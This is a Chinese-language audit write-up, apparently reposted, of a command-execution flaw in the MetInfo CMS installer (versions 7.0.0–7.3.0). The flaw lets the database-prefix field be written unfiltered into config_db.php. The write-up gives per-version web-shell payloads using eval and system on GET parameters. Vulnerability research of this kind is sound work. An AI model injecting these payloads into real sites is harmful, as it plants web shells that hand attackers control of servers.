Metinfocms命令執(zhí)行
前話:
米拓企業(yè)建站系統(tǒng)是一款由長沙信息科技有限公司自主研發(fā)的免費開源企業(yè)級CMS,該系統(tǒng)擁有大量的用戶使用,及對該款cms進行審計,如果利用CNVD-2021-01930進行進一步深入,其危害的嚴重性可想而知。
本文涉及相關實驗:MetInfo SQL注入https://xintu.hetianlab.com/expc.do?ec=ECID269f-6dc2-4412-bbad-a27109b207cf&pk_campaign=toutiao-wemedia (通過該實驗掌握MetInfo SQL注入漏洞的原因和利用方法,以及如何修復該漏洞。)
審計過程:
1. Index:拿到源碼先看根目錄的index.php看看都包含(加載)了什么文件。
2. 關鍵詞:在/app/system/entrance.php看到了配置文件的定義,全局搜索這個
’PATH_CONFIG‘參數(shù)。
全局搜索并找到install/index.php文件下有這個參數(shù),點擊跟進查看。
在這個文件的219行有個是接收db數(shù)據(jù)庫參數(shù)的方法。
官方說明“$_M”數(shù)組:https://doc.metinfo.cn/dev/basics/basics75.html
這里是接收from數(shù)據(jù)的db_prefix參數(shù)。也就是“數(shù)據(jù)表前綴”內(nèi)容的值。
往下發(fā)現(xiàn)是直接寫入tableper然后賦值給config變量。
并在264行fopen打開/config/config_db.php進行沒有安全過濾的字節(jié)流(fputs)方式的寫入。
影響版本:7.3.0 - 7.0.0
一、進行7.3.0安裝步驟,訪問http://127.0.0.1/install/index.php
二、選中傳統(tǒng)安裝繼續(xù)下一步
三、數(shù)據(jù)庫信息進行寫shell
代碼執(zhí)行Payload:"/@eval($_GET['1']);/
命令執(zhí)行Payload:"/@system($_GET['1']);/
代碼執(zhí)行:
點擊保存進行下一步驗證,出現(xiàn)這報錯信息,可以查看config\config_db.php文件。
成功寫入
命令執(zhí)行:
7.0.0版本:
7.1.0版本:
Payload:"/@eval($GET['1']);@system($GET['2']);/
7.2.0版本:
Payload:"/@eval($GET['1']);@system($GET['2']);/
掃描二維碼推送至手機訪問。
版權聲明:本文由信途科技轉載于網(wǎng)絡,如有侵權聯(lián)系站長刪除。